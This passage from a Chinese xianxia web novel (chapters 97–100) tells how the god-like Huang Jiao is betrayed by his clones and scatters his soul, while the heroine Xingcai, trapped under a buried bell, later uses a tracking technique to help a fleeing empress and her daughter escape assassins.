“这个品种的莲花称为魔域黑莲，专门用来镇压魔域邪气。巧得是它还是魔的伴生物，魔从邪气生，驯服此莲，就多一样法器。姑娘在莲笼里看着吧，天龙道是怎样在世间消失。而这份送死帖，也有你的功劳。”
荇菜被关在漆黑的黑莲花苞里，闻言僵住，喃喃仰头：“你……究竟是谁？”
“记住本尊的名字：泽萃。他是你未来的真正夫君。”
“夫……君？狗屁。泽萃尊者……道生花和道璇玑的师父。”黄椒的四大分身之一。
皎月说：黄椒有四个分身无法收回，其中之一就是东方的泽萃尊者！
“放我出去。什么叫我也有功劳？放我出去。”
荇菜身处黑暗，神智越发清醒。赫然记起当初在青衍镇时，蕙永曾说：天龙掌生，三生送死。送死帖……三生道要攻打天龙道！
泽萃尊者摄取池中的黑莲花枝，拿在指尖把玩，屏蔽吵人的叫嚷。
现在不是研究这个女人的时候，杀尽天龙道，灭杀黄椒，再找她的特别之处不迟。
他背对莲池离去，散出的魔气蔓延向荷池。
无数品种各异的荷花被魔气污染萎靡。
唯独红莲业火撑着一片领地，照耀隔壁池子里的弱小千蕊莲。
魔气侵蚀，红莲业火被激出活力，阴水逐渐干涸。不论是魔气，还是莲池都困不住它。
离去的泽萃尊者淡漠地笑着：“从此，世上再没有可做分身的藕器，不会有携带神识的无魂婴儿随天池水飘向人间。”
你道祖天尊黄椒，将被自己的情绪淹没，彻底入痴疯魔。
一个神的时代即将结束。
幽冥十府城、孚龙八部众的杀手尽数出现在浮空城的传送台。
浮空城众人没反应过来就已经被无声无息地杀死。
寒凝仙子和陈仁管事在人间府和炼道府内被杀个措手不及，没来得及报信就已经跪在府邸死去。
“天龙掌生，三生送死。今日是三生道给天龙道送死亡帖。”道生花、道璇玑以及八部头领分头行动，杀上天龙道宫邸。
所过之处，无不血流成河。
水月岛、浮空岛纷纷想起天龙弟子和岛民的哀嚎声，呼唤道祖天尊黄椒的名字。
**
此时的黄椒立在十方山寺的半空，山里的佛笼打开一道口子，内藏的妖邪肆意而出，被他拂袖镇压回笼。
而这只是诱他离开天龙道浮空岛的饵。
巨大的诛仙卦阵在十方山寺的佛笼外围生成，以佛笼为中心，向内收拢。
天穹浮现巨大的封天卦阵，携带惊涛骇浪之势向下压来。
卦阵当中，一把汇集天下至精矿石打造的诛仙神剑正在缓缓凝结成形。
黄椒板正的面容终于露出严峻：“皎月的阵，密勒的域，金沙的器，还差一位，泽萃的智。”
抬起右手，召唤长月剑。
长月剑无应。
黄椒稍有诧异：长月剑被娘子收走。天地契感应不到她的位置。密勒的法域已经可以隔离天道的感应？不愧是原定破天笼的四大阵眼之一。
“糟……”黄椒感应到天龙道生变，旋身后退。
羽化生和火云子站在远处的半空，幽幽目光带着怜悯苍生的情。
此刻，黄椒若退，佛笼境内的僧众尽皆被诛仙卦阵诛亡。
远方长恨钟的钟鸣声再次响彻天地，直达黄椒的耳畔。
相隔万里长空，黄椒侧眸望去，那道站在长恨钟下的黑袍身影正是泽萃。
这声钟鸣是挑衅。智者泽萃同他的徒弟一样，爱以玩弄世人为乐。
泽萃尊者在不断炸响的钟鸣下绽放嗜血的笑。
“回啊。你不是救济天下苍生的道祖天尊吗？回来救你的门徒弟子、岛民爱侣啊，哈哈哈哈哈……黄椒，今时今日你也有难以抉择的时候啊，哈哈哈……”
羽化生不解地看向三生道的方向，选择赶回天龙道。
“师尊，这里交给你，弟子赶回浮岛主持大局。”
黄椒正要开口，别……去……
火云子已经先声夺人：“天尊，求您怜悯十方山寺僧众，高昌无数百姓。”
密勒尊者在剑阵领域内浮现虚影，无声传达：“散神天地，天下众生可保。”
“呵，”黄椒淡色垂头：这一天终是来了。
“你们……都出来吧。”
西方密勒，北方金沙，南方欧阳燕歌或说皎月，远在天龙道浮空岛的泽萃尊者，各个死死地盯向立在地之上、天之下的道祖天尊，无声胜有声。
“吾知道这天迟早会来，本以此法列阵破天，终究被阵法反噬。无妨，你们喜欢这片天地，让给你们又何妨？天囚神罚，谁不是笼中之鸟。”
黄椒扬袖而笑，神识飞扬，灵场辐射向天地。
十方寺的佛笼境内，盘坐念经的和尚从入定中醒来，纷纷仰望上苍。
远方的水月岛、浮空岛上所有人被远道而来的灵场救赎，慌张的心情渐趋安定，纷纷开始反击三生道弟子。
密勒、金沙、泽萃、欧阳燕歌在黄椒神识的吸引下被迫折腰，神情苦不堪言。
密勒尊者的银色卷发逃出帽兜，随风飞扬，露出他的高鼻翠眸，痛苦的神情上流露不甘：终究……败给他吗？
金沙尊者用力抵抗突入法体周围的无形力量，越战越勇的他鼓荡四肢肌肉，硬生生战成金刚大马步：他大爷，黄椒，老祖我不会认输。
欧阳燕歌最是痛苦，手碰头颅，目露恐惧：不可以。我自散神识，以逆天之法得到的机会，怎么可以功亏一篑？不可以。
泽萃尊者仰首眯眸，长风吹落帽兜，露出他
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猩红的眸色、不服输的傲气：若要本尊死，天龙道给本尊陪葬。
魔力下行，一脚剁开长恨钟台，长恨钟最先砸向泽被湖。以此为点，整座水月岛横向开裂，浮岛石台砸向下方的浮空岛。
不论敌友，尽皆遭难。
黄椒眸色渐红，浮空岛坍塌，岛土开裂，白玉密石制造的宫邸砸向下方巨大的泽被湖。
尚有生机的岛民、弟子被他无形的灵力托浮着飘落。
地面上，无数人仰看天穹。
他们虽不知道发生什么，却感觉天好像要塌了。
西塔国和百戴国的修士最先发现天龙道巨变，往泽被大湖的方向飞去。西家家主驻派的本国修士，阻止国境内的修士前往泽被湖。
百戴国的国主也阻止境内百姓、将领前往泽被湖。
因为，他们同时收到山泽国主的威胁：地域内凡有异动处，不可前往支援，否则就是与山泽为敌。
唯有隐居陋巷的逍遥派弟子偷偷地潜入泽被湖附近，帮助那些从天上掉下来的受难者。
泽萃尊者目睹这一切，让道生花救本宗三生道幽冥八部的弟子，抢夺天龙道的灵宝财物，任由浮岛坍塌下落。
三生道的杀手不够尽兴，追杀半空飘落的岛民、弟子。
天空洒血，宛若哀鸿啼鸣。
虹桥断裂，浮岛尽毁，露出镇压天地时空的“十方星环。”
泽萃尊者乍见此金光，瞬移向玉石台，扑向高飞而去的星辰塔。
星辰塔旋绕在泽萃尊者的身旁，吸走他袖里乾坤的魔域黑莲。
星光一闪，星辰塔自此消失在世间。
泽萃尊者下意识摸在袖里乾坤囊：“那女人不见了。该死，”绝不能让黄椒逃遁。
他让道璇玑和道生花留下善后浮空岛的事宜，遁空突进山泽和高昌上空的诛仙卦阵。
阵法中的黄椒笑得极淡，看向迟迟而来的泽萃尊者：“拿自己的东西不叫偷，但是，你真是喜欢同自己作对啊。”
“自己？你是你，我已是自己。你在这，锁住此方星域的星辰塔就不可能消失，拿出来。”泽萃尊者在黑袍下阴戾地瞪向黄椒。
他的眸色猩红，已经是入魔久矣。若不压制，将是未来毁天灭地之主。
密勒眯眸，皎月不言。
金沙大吼：“什么星辰塔、星域，锁什么？泽萃，你又在搞什么名堂？浮空岛天龙道已毁，现在杀了他，吞噬他的灵魂，我们就能彻底自由。”
泽萃磨牙：分身的性情各异，全凭黄椒制作藕人时的心情，以及裂魂破境阵在周围环境的影响下生成的全新个性。
金沙的没脑子同他的炼器手法一样出名。
“那就让他选择。黄椒，诛仙卦阵已成，你死，还是让十方山寺众僧、妖邪一起给你陪葬。”
黄椒不以为然，天地众生又如何，晨见他生，暮见他死，轮回有道，万法归元。
一生二化五，五行归一，一切始终皆在道。
泽萃尊者察觉他的无情，旋手取出伴生法器的魔域黑莲，掷向阵法外。
黑色的花苞旋转摇曳，发出一阵阵诱人的声响：
“放我出去，放我出去……”
密勒、金沙、皎月同时睁眸，警惕地看向泽萃，又纷纷转望黄椒。
泽萃尊者冷凝道：“别人的生死不在你的眼内，那你可以看着她死吗？”
黄椒不慌不忙地感应天地同心魂契的位置：长恨还在。他和娘子在一起。
他启笑道：“你利用她？”
泽萃微顿，明白他的意思，目光挪向一侧的欧阳燕歌。
98. 第 98 章
欧阳燕歌/皎月强忍着神识拉扯的痛疼，直起身，试图镇定道：“她行事阴狠，得罪人。天命之子朱琴天给她下妖毒煞气。三生道也是凭此找到进入浮空岛的传送阵。”
“天命之子？原来如此，你一直对吾隐瞒他的存在。倘若没有她，此刻诛杀吾得应该有这天命之子得一份力。”
黄椒思量着，轻舒口气，“啊……幸好啊……”
“若你们从泽被湖上去，护岛结界无法被你们攻破。皎月，此前你是故意让她杀你。”
黄椒想完始末，生出一丝无奈：分身太聪明，反噬起来确实让人头疼。
“不错。若我不死，永远被你的感应牵制，为你卦算天运。数千年了，我背弃天意神性，寻找适合存放神识的肉/身。
百年前，我找到拘缨皇室的九皇子，他的身体可以被我注入神识，牵制你的感应，令你无法测定天运命数。”
皎月说到这，想起黄椒会借用分身与合欢妖尊签订魂契的事。这就是迷惑黄椒取得的成功。
黄椒自然也想到这层，轻轻地摇了头：“原来如此。变数入局，吾却一直没有察觉。”
至各方的十字箴言归来，这才了悟玄机、做出更好的应对。
“道生花与她签订主仆契约，可以感应到她的去向。三生道可以无声无息地进入天龙道，正是都亏她。”
泽萃尊者适时开口，“当年，道生花传信回宗，有人能在人群中寻到你的分身。本尊就知道杀你的时机已至。果不其然，你和她签订同生共死的命契，终于有人可以牵制你。”
“若吾死，她也会死，你们……舍得吗？她的感觉，真是……妙不可言啊。”黄椒的神色淡漠，嘴上说着诱人的话。
欧阳燕歌蹙眉，想说什么，紧闭上嘴巴。
金沙哼了声，密勒不言。
“哈哈哈……”泽萃尊者大笑，“所以，在事情更严重前，我们必须杀掉你，获得神魂独立。至于她，你以为谁都跟你一样找几个凡女上岛拾情，或靠分身娶妻，供你纾解灭世之念吗？”
黄椒轻轻地摇头：“你们到现在还不懂。皎月，你是吾的第一个分身，却是四人里背道离德最为严重。吾收回赐予你的……自由。”
欧阳燕歌/皎月还没反应过来就瞪大瞳孔，倏得从天穹砸向十方寺。
十方寺内的和尚纵身而起，接住昏迷的欧阳燕歌，不解地看向上空。
密勒张眸，金沙瞪眼，泽萃尊者心惊，却又强自镇定。
几人惶惶不安，以为随时会步皎月的后路。
这时，黄椒做了出人意料的选择：“泽萃，吾以墨莲造你，吸食此间的天地邪气，让世间得享数十运太平。今后，护佑世间的重任也交给你。
至于娘子么……吾赐元神于尔，命契流转不消，她不会死。”
霎时间，灵场辐射天地万物，黄椒的肉/身化为金色的功德散向四周。
妖邪沾染功德之光即被净化，万物沾染它或生灵智或更进一步……
泽萃、密勒、金沙在震惊的同时一起行动，没到灵场中心就被三缕冲击而来的金色元神选中，纷纷立定半空。
三人的神识与黄椒元神的碎片争斗、融合。
他们本身的记忆与黄椒留给他们的记忆交错，修行的法道贯穿他们的法体。
一番艰难的博弈后，三人的神识记忆占据上峰，彻底与黄椒的元神碎片融合。
密勒尊者第一个睁开眼，暗金色的瞳仁里韵着翠色明光，默默地环顾慢慢睁眼的金沙和泽萃尊者。
这一刻，三人的内心都有些不可置信：明面上好似占据主动权。但是，黄椒明明可以压制三人，却像是早就预料到，而主动做出这样的选择。
泽萃尊者眼中的猩红退去，神色有片刻愣顿，随即又恢复阴鸷。古铜色的瞳环里点簇金火，让他的面容、气质不再太过阴邪。
三方立定半空，互相环顾：或许压制泽萃的邪性才是黄椒真正的目的呢？毕竟，他是大功德者，岂会忍心世人遭难？
然而，这个念头闪过，密勒和金沙都有种荒谬的感觉。
而此时，若能获得完整的元神，就可以成为下一个道祖天尊。
三足鼎立，彼此流转威压，有一种随时准备出手的形势。
金沙尊者第一个打破玄妙的氛围：“没想到这么容易就得到他的元神。泽萃，天下女人多得是，你要就给你。本尊回祖地闭关，不和你们玩了。”
粗人的直觉往往更直接。
金沙尊者不等泽萃和密勒反应过来，一步遁空离开。
诛仙卦阵失去两道阵眼，凝结的神剑随金沙尊者离去。
卦阵消散一空。
十方山寺的佛笼得解，妖邪已尽被黄椒散向世间的功德净化。
净化的妖邪归入黄泉轮回，妖丹化尘、妖尸化土，结束十方寺、雷火寺两百多年与妖纠缠的宿命。
密勒尊者瞬移出手。
泽萃尊者旋转黑色莲花苞击打向密勒。
密勒察觉有异，疾步后撤，避免被泽萃尊者这举动伤到。
密勒尊者：“她不在里面。”
“在不在又如何？女人只有一个，我们却有三个。”
密勒尊者嗤了声，目光看向盘旋在外围的青虞宗修士里的九阳剑尊，以及迟迟赶来的道生花。
“从此刻开始，我们四人的合作结束。你留着她，希望你不会后悔。”
他遁空离去，隐于高欧国的山水内。
泽萃尊者看向下方异动的十方山寺，正想出手却被脑海里的意念克制，朝赶来的道生花和道璇玑道：“你们带人去各地建坛，如有不服，打到他们服。接下来，这方天地由吾三生道接管。”
“是。”道生花和道璇玑整齐作揖，目送泽萃尊者离去。
道生花环顾天上地下，犹是不敢相信：“他……真得散神天地吗？”
道璇玑收起血樱戟，抹去战袍上的血污：“师兄，你是想问那个女人死没死吧？你现在是藕身，只有神识没有魂魄。师尊说，仆印刻在什么阵法上，最多就是痛，不会要你的命。好了，你的修为还没有完全恢复，先回宗门。这次，师妹前去会会各宗掌门。”
道璇玑召集伏龙八部前去完成泽萃尊者的命令。
道生花默默地立在半空，探手看向掌心：“只有神识，没有魂魄。在这之前，师父也是这样吧。现在，他是个人，真正的修士。”
“法尊，”朱琴天在道生花后面出现，“法尊不必担心。尊上可以做到，你也一样。”
“住口。师父待我……恩重如山，”道生花说到这已闭口不言，恩是什么？从大海里捞起来的养育之恩、教导之情吗？无魂无我……连人都不是啊。
朱琴天垂在帽兜下的唇角微微勾起：“法尊，你答应过我。事成之后，她的亲近人随我处置。”
“你想对付谁？”道生花眯眸。
朱琴天抬起帽兜下邪恶的眼神：“山泽国主已经臣服三生道。余下山泽皇后水玲珑仗着合欢宗的势力与我们在朝上的势力对峙。法尊，是时候对付水玲珑，让山泽彻底成为三生道征服人间的利刃。”
道生花默默地看向朱琴天的眼睛，忽然笑起来：“你真是一条死缠着猎物不放的毒蛇。不知道以前得你看到现在的你，作何感想？”眼见朱琴天变脸，道生花又爽得哈哈哈
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大笑。
他在离开前道：“去吧，去咬你的猎物，逼她出来。”
**
“啊……”荇菜一把捂住心口，猛地推开伸手来扶的男人，“别碰我。”
长恨蹙眉，握拳又松：“你被魔域黑莲的魔气侵蚀，须得尽快驱除魔气。”
“我知道。泽萃那家伙，等我出去非得按死他。”荇菜咬牙，见他又来扶，气呼呼道，“说了，别碰我。”
长恨不听，固执地抱起她，靠在长恨钟旁。
荇菜捶在他的肩头，却被他紧紧地揽进怀：“你疯了吧。我说了，你若碰我，我会让你成为冰雪洞天里的冰尸。”
玲珑球内微落的火光照射咫尺的地方。火芒映在荇菜的脸上，看起来朦胧却又楚楚。
长恨垂眸，在她的坚持下慢慢地松开手。即使她不让碰，两人坐下来也会碰到脚。
“真得不能把长恨钟收起来吗？”
长恨摇头：“若收起此钟，浮岛落石会把这里填满。我们就真得出不去了。”
“你说，天龙道究竟怎么样了？”
长恨默然，冰冷道：“分身反噬，这是他应得的报应。”他见荇菜半天不应，不解道，“你不帮他说话？你是他的道侣。”
“嗤。本尊是花涟的道侣，可没承认和他有夫妻关系。”
长恨撇脸：“你的冰雪大厅里有长月，他还是处子之身。”
“……”荇菜猛地站起来，咚得一声回荡在钟里，震得她头脑发晕，直接遁回蜃珠洞境。
“呼，幸好还有蜃珠。不然，在外面都要得幽闭恐惧症。”
荇菜是怎么到长恨钟里她自己也不清楚，在泽萃的黑莲花苞里待了一阵，荇菜就想着躲进蜃珠，让对方以为人逃跑而放松警惕，她再趁机逃遁。
结果，荇菜从蜃珠洞境里出来就在狭窄的长恨钟里。她把长月放出来，研究现在的情况。
长月判断：长恨钟被浮空大石镇压掩埋，大概率在泽被湖。
他可以收起长恨钟，但是这片空间会被浮岛重石填满。一个不慎，两人可能会丢命。
简而言之：荇菜和长恨躲在长恨钟，而钟被埋了。
此刻，荇菜一步瞬移入冰雪洞天，以神识扫视长月的冰尸：阳元还在，那……守剑阁里得男人是……黄椒！？金瞳映眸，右鬓眉角如阳轮……太极阳鱼……是他。
有种吃了屎又想再吃的感觉是什么鬼？
这时，荇菜猛地扑在地上，也正是十方山寺上空的黄椒肉/身消散、元神分缕的时刻。
“啊……”荇菜感觉识海里炸出一阵疼痛，内视识海，天地同心的命契分出三道裂痕，疼得她背过气。
许久之后，荇菜才缓缓地盘坐，将长恨钟里的长恨捞进蜃珠洞境。
“你怎么了？”长恨伸手扶她，又被荇菜推开，“你灵台有异？”
荇菜痛得额头密布冷汗，颔首道：“命契裂开了，究竟是怎么回事？我感觉脑子要炸了，好像有什么东西一直要往我脑袋里钻……啊……”
长恨顾不得她反对，抱住她，抵在额头：“别抗拒。”
神识进入荇菜的识海，目睹裂成三片的天地同心命契，而这分裂当中有薄如丝缕的命线连接三方。
“黄椒他……散了元神，怎么会这样？”
长恨的神识过于震惊，瞬流出荇菜的识海。
他抱紧疼得死去活来的荇菜，将自身拥有的功德之力渡入她的识海，以功德镇压天地同心命契的反扑。
“有三道分身获得黄椒的元神，以命契之法寻你，才会让你的灵台受不住。”
这话简直让人“垂死病中惊坐起”！
99. 第 99 章
荇菜愕然地瞪大瞳眸，反手拎住长恨的衣领：“你说什么……黄椒怎么了？”
与此同时，远在各自洞府闭关的密勒、金沙、泽萃纷纷睁开双眸，眼里的金色流光一闪而逝：“这个女人好强的意志，竟然抗住追踪术。”
泽萃尊者与荇菜有过接触，阴鸷眼眸滑过一道光：“以那个女人的修为不可能扛得住吾的追踪术。一定是有人在帮她，会是谁呢？”
如今有元神，不需要三生道门人到各地找分身，能直接感应分身的位置，吸收分身的修为，提升自身的力量。
而最近的分身就在殿外……泽萃尊者的目光直射殿门外。
“师尊……”道生花在门外行礼，“弟子有事请问师尊。”
等待得三个呼吸间，他的心头升起无缘无故的警惕感。
细想过往，道祖天尊即将飞升的消息是三生道的孚龙八部弟子放出去，欲要搅动大陆十国的形势，拉扯修真宗门下水。浑水搅局，让拥有称霸野心的山泽克制它国的势力，青虞、合欢、西塔的家族修士牵制其它宗门。
天净宗的皎月尊者卦算通天，昆道宗的金沙尊者能锻神器，八宗去五，十方山寺自身难保，天羽妖宗的凤尊被关，天龙道在浮空岛待得太久，早已自以为是，得罪多宗而不自知。
独木难支，引走黄椒，天龙宗门覆灭已是必然。
这一切，全在师尊的谋算吧？过往，师尊让门人寻找分身，是想截取黄椒的修为。
若我是师尊，现在会做什么呢？
“进来。”泽萃尊者看着眼前含笑不羁的道生花：修为不过元婴，已是废物……不行，若吾杀弟子，三生道门人会怎么看待？道璇玑可是护他的紧，为帮助他恢复修为，连命都可以不要。若杀道生花，璇玑第一个就不干。
吾究竟在想什么？这人杀也就杀了。
“呃……师尊……”道生花还没开口就被泽萃尊者掐住脖子，扣压在地。
跨进门时已后悔得他早就什么都不想问，能像往常一样谈笑两句就已经庆幸。现在，他只想活着离开此殿，死过一次的人，再珍惜生命不过了。
“师尊，弟子是……花花啊……”为活命，他喊出曾经最讨厌的称呼。
泽萃尊者眸光里的古铜色更亮了些，恍惚着像是清醒过来，松开道生花的脖子：“你进来做什么？为师不是说要闭关融合元神。滚出去。”
以此话混淆适才的动机。
“……咳……是，师尊。”道生花忙不迭离开大殿，回首紧闭的殿门，似能看到神情古怪的师尊。
师尊现在最想做的事借用黄椒的元神吞灭其它分身，再次突破，凌驾于金沙尊者、密勒尊者之上。
但是，黄椒的元神入体，师尊的性情大变，他已经不再是以前的泽萃。
黄椒是世人敬仰的道祖天尊，对付妖邪都用净化之法，更不会让泽萃杀人。他肯自裂元神，说不定就是为压制师尊的魔性。而我只要等……
**
长恨握着荇菜的手松开自己的衣领：“黄椒……死了。三个分身接管他同你的命契。若我猜得不错，必是皎月、金沙、泽萃，密勒四人中的三人。”
荇菜缓过劲，想也不想道：“不可能是皎月。他的藕人之术被破，分身还立在这呢。他的神识大半在欧阳燕歌体内，即使他活着，也不能接管命契。欧阳燕歌有自己的血脉元神，与命契不相容。”
长恨看她的眸光柔和几许，又看向周围立着的冰尸，皎月得旁边就是长月。
“你……怎么有这喜好？”
荇菜的面上流过窘迫，起身时没站稳，抓住长恨扶来的手。
她放开他，走到花涟的冰尸前：“愧疚、思念、痛恨、交易、被逼当下，以及习惯。”
“我爸说一个好的警察在发现命案时要留好现场证据。一个杀手杀人时会尽量毁灭证据。这就是我给自己留的证据。”
杀人的证据。不论是留、是毁，皆在一念。
长恨思量她的用词：“你在愧疚杀了他们。既然这样，为什么要做呢？”
“当你质疑这个世界存在的真实性时，你就不把他们当人看。但是，有时候又会像现在这样：我看着你，觉得你就是个活生生的人。
尽管你的样子丧得让人嫌恶。
黄椒以藕人之术造人，必受天罚。我这样杀分身，有遭一日也会有报应的。”
“他的惩罚是分身反噬。你……”长恨的目光一一滑过这些冰尸保留着的生前面容，“他们的眼里没有恨，甚至面带微笑。你没有让他们死得很痛苦。相反，他们有些很幸福。
你真是个奇怪的女人。”
荇菜轻嗤，目光落在皎月处，这人的神情可不友好。
至于柏黄和长月，一个死于幻境里的大仇得报时，一个都没反应过来状况。
不过……
此时，荇菜撩眸看向长恨，露出惯来的嬉笑。
她逼近长恨，快速环过他的脖子往下拉。彼此的眸光相较，呼吸相缠。
气若幽兰：“别好奇。男人一旦好奇，离栽在这个女人手上不远了。”
长恨撇开脸，竟往下缩头，逃出荇菜的臂弯。
他走到长月的冰尸右侧空旷处，往那一站，转身看向荇菜，给人一种感觉：这个位置会是他的。
荇菜愣怔地放下手，目视他一本正经的眼神：他站在那，死气沉沉的眼睛竟然在发光。他……已经选好归处。
说实话，长恨非常英俊，只是笑起来和不笑时都带一点唇角下垂的苦相，显老。再加上他刚入蜃珠洞境时的死样，总体感觉就非常……丧。
“你这人还真挺好玩的。”
“你有真正地爱过他吗？”长月本想反驳一句：女人对男人产生兴趣，离爱上他不远。但是，他选择问出那个问题。
荇菜看向他目光注视的方向，一时无言以对。
真正……地爱过花涟吗？结侣是一场算计，只不过算计落空，成全别人的算计。
她走到花涟的面前，抚上他冰凉的脸颊：“他救过我三次，非常的男人。明明我也不弱，他就是会选择
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挡在我面前。花家村、枫林里的快乐不作假，是美好的回忆……”
回忆不起来，一想到枫林就是朱琴天阴暗的面容，害花容和芳菲死都不能安宁。
“最终，他为我而死。”
“你爱他？”长恨坚持要这个答案。
荇菜鼓腮瞪他，又松肩头：“我不知道。但是，我知道一件事。我一定爱两个人。为他们，我有不得不变强、必须回去的理由。”
“你的警察……爸爸？”
荇菜挑眉，倒是聪明。
“什么是警察？”
“类似于世人口里的黄椒，维护世间公道，伸张世间正义得那类人。”荇菜想起父母，真心地笑了。
她又忍不住对自己轻嗤，默默道：大概是这样，对黄椒的感情……非常复杂，他像爸爸一样维护这个世间的正义吗？泽萃却说他谁都不爱，连自己都不爱……他究竟是个什么样的人。
若能按九阳的方法，近距离接触黄椒，就可以对他祛魅。可是，黄椒大概率已经……
“黄椒不是你爸爸，”长恨见她瞪来，察觉口误，“他不是维护世间的人。他是神罚之徒。”
“什么？”
长恨自嘲地笑了：“水月岛存在很久，那时没有什么天龙道，只有大片的花池。他喜欢用各种材料研阵造人，直至找到青莲之藕，造出第一个分身：皎月。
后来，陆续有泽萃、金沙等人。
护岛得不止有我、长月、还有长生。我是黄椒制作的第七个藕人，被派往镇守浮岛东方。
长生守北面天池，黄椒经常去天池放生他制作的藕人。长生由此窥探他的秘密。”
“什么秘密？”荇菜急切问。她生出一种预感，这个秘密非常关键。
长恨：“镜花岛上有一座星辰塔，内藏十方星环。镇压此方寰宇时空，神都不能轻易逃脱。”
荇菜瞬间想起金猴姐的识海，扯住长恨的衣袖：“神罚之徒，神都不能逃脱……这究竟是怎么回事？”
“再具体得我不清楚。但是，星辰塔、十方星环是解锁这方世界秘密的关键，而知晓这一切得只有黄椒。”
荇菜：“星辰塔、十方星环在哪里？”
“黄椒守着祂，祂镇着黄椒。黄椒散魂，只有接收他元神的三人知晓星辰塔的存在吧。”
荇菜思量着走出冰雪大厅，立在彻骨的冰湖上，寒冷让脑子越发清醒。
“与花涟有愧，所以，我总想找机会复活他。与父母有情，所以，我总想变强找到黄椒问到回去的办法。
如今，黄椒消失，方向变成那三个得到他元神的人。这件事好像越来越复杂，这个世界的秘密……究竟是什么？”
长恨跟着荇菜离开冰雪大厅，回眸看了眼长月旁边的空位置，陪她在冰湖上站不知多久。
荇菜睁开双眸，眼中流转卦阵星图，星图藏火，深不可测。
她收敛心神，长出口气：“总算学会点卦阵皮毛。”回身看向静静守着的长恨，不解道，“这地方挺大，你干什么守着我？”
100. 第 100 章
长恨出神地望向冰雪大厅的方向：“以前，长月守着剑阁的长月剑，我守着长恨钟。我们分置浮岛两头，不曾见面却以神识为友。
如今，浮岛可能已经坍塌，被埋在人间的泽被湖……”他仰望蜃珠的天顶，一会白晃晃、一会阴沉沉，却似有星光闪过……他动念判断时间，又丧地放弃这个想法，“现在，我守着你。”
“你真是怪人。”荇菜从冰雪里拔出脚，望向两个脚印，找乐子，“你走开，你脚下是不是也有这脚印？”
长恨听话地挪开站不知多久的地方，确实有两个大脚印。
荇菜立在脚印前比划，紧跟着一脚踩下去，与他的大脚印重叠，还露出半指长的痕迹。
长恨的心柔软许多，眸光里露出温柔的笑意。
“你知道吗？长月的神识和裂魂破境阵法在我这。”
长恨的笑容僵在脸上，看她提脚离去，好像没听明白。追随她的背影，看着她转身笑望回来。
荇菜娉婷地立在木屋前，笑望长恨：“所以，你杀了我，拿到他的神识和阵法，重新放回他的身体，兴许他能复活。”
她就这样含笑站着，等着他做决定。
某个瞬间，长恨真得想按她的话去做，却在她的笑容里读懂更深的意思：她在等我做选择：与她敌对，她就杀人。与她和平，她下不去手杀我。
这个女人的内心有着和自己一样的孤独和无望，却又坚强地活着，在等待希望来临得那刻。
她是一个矛盾、狡猾、富有智慧又重情义的女人。
长恨再次想到自己：黄椒死了，裂魂散神……我的希望在哪里？
他选择背对她，往冰雪大厅走去。
原则，不仅女人有，男人也有。
荇菜轻轻地吐口凉气：“被看穿了呢。果然我还是太嫩。这个人，他们……真是各有个性。”但是，《玉石还阳功》更高一筹，它永远杵在狩猎的位置。
“啊……出不去就闭关吧。我先好好研究裂魂破境阵法和皎月的卦阵传承。坦白说明后，我就不怕他来打扰了。呵……男人！骄傲的物种。”
山中修炼不知岁月长。
荇菜取出朱琴天的法息珠，喃喃道：“我差点把你忘了。卦阵之道有一门灵息追踪术，结合《还阳功》的神牵之术，或可杀人于无形。
朱琴天，本尊看你怎么逃过此劫。”
凝气掐诀，以神识缠绕法息珠。荇菜的身影瞬间离开木屋，坐定在外界的长恨钟下。
神牵之术追随灵息追踪千里，沿朱琴天的法息穿过无形的空间，抵达一处密林。
暗林里，空间裂隙，章鹏带一对布衣母女跃出，数名布阵的罗刹鬼面杀手霎时间冲击而上。
“我拦下他们，你们快走。”章鹏横剑拦道，挥剑迅猛，斩向鬼面杀手。
朱琴天披着幽冥十府罗刹城的衣袍，指挥布阵的杀手攻向章鹏。
他本人追进，袭向逃跑的水玲珑和她的孩子。
“玲珑……”荇菜的神识虚影瞬间下行，手换法诀，牵制朱琴天的识海灵识，“玲珑，快跑。”
水玲珑看不到荇菜的存在，回头见朱琴天的动作僵硬，升起一丝希望。然而，又有数十名罗刹鬼影出现，拦在她的道前。她紧紧地抱住孩子，目光里露出为母的坚强：“天行，你一定要活下去。你是山泽的太女，未来的天下共主，你一定要活下去。”
“母后……”天行小小一只，怒目瞪向杀来的人，狠狠地记下他们的面容
章鹏解决掉拦道的人，想去帮水玲珑母女，却被等候已久的道璇玑从天而降拦下。
他气喘吁吁道：“堂堂三生道护法也要为难人家母亲孩子吗？”
道璇玑手持血樱戟，冷笑：“本尊对皇后公主不感兴趣，此行只为拦下你。话说回来，莲花峰妖女于我有一翅之仇，不让她出现，我怎么还给她？”
何况，师兄道生花的仇也要向她讨回来。
朱琴天见章鹏被拦，朝远处的手下道：“活捉山泽皇后和公主。”
水玲珑一把将催天行放在树下，以本命法器菱纱护女儿。
她手持法剑攻向袭来的众人。
章鹏不是道璇玑的对手，崔洧的人也被蛇瞳妖道拦下，如今只能靠自己。
他以灵剑化身攻击道璇玑，虚晃一招后转去帮水玲珑母女。
道璇玑：“与本法尊战斗还敢分心！吃我一戟。”
荇菜的神识虚影不仅牵制朱琴天，同时再凝法诀化千，尝试牵制其它杀手。但是，这种对手让她的神识异常吃力，生出后继无力感。
罗刹杀手的行动僵硬，不明所以地瞪大眼：“怎么回事，怎么动不了？”
“识海，有人在攻击我们的识海。”
……
章鹏不管谁在暗中帮忙，一边抵挡道璇玑，一边趁机挥出数道剑芒，解决掉几名杀手，救下水玲珑母女。
朱琴天急忙自查灵台识海，一道眼熟的虚影控制识海行动：“你……是你妖女，你终于出现了？”
荇菜的神识虚影极淡。
若不能一击即中，必被朱琴天吞噬这缕神识。
她做好牺牲这道神识的准备，转手攻过去：章鹏，你可千万别掉链子，趁机救走玲珑母女啊。
章鹏老手，受着被血樱戟刺破罡气的风险，趁机飞去一道剑气，袭向朱琴天。
朱琴天想退，被无形的力量定在原地，注意力回流向外界，没有来得及吞噬荇菜的神识，大叫：“你们还不快帮本座。”
荇菜的神识暗喜：休想。
神牵之术回转，一道鬼卦之术植入朱琴天的识海。
“不要……”水玲珑发现有刺客袭击孩子，回身后猛地扑向催天行。其实，拥有菱纱护体的催天行可以拦下此剑，但是为母天性让水玲珑没有时间细想。
她只是凭本能扑去，紧紧地揽抱住孩子，受了转身的罗刹杀手一剑。
“啊……”
章鹏受雪樱祭一枪，没管朱琴天如何，最后两剑的余威杀死那名偷袭水玲珑的罗刹鬼影。
他跃近后提起水玲珑和催天行，燃烧本命真血，遁空逃去。
道璇玑眯眸：“呸，这男人的血真厚，不愧是青虞宗的剑修。”回眸审视面露惊恐的朱琴天，嫌弃唾骂，“废物……”她转身踏空，迅速离去。
法息珠燃烧殆尽。
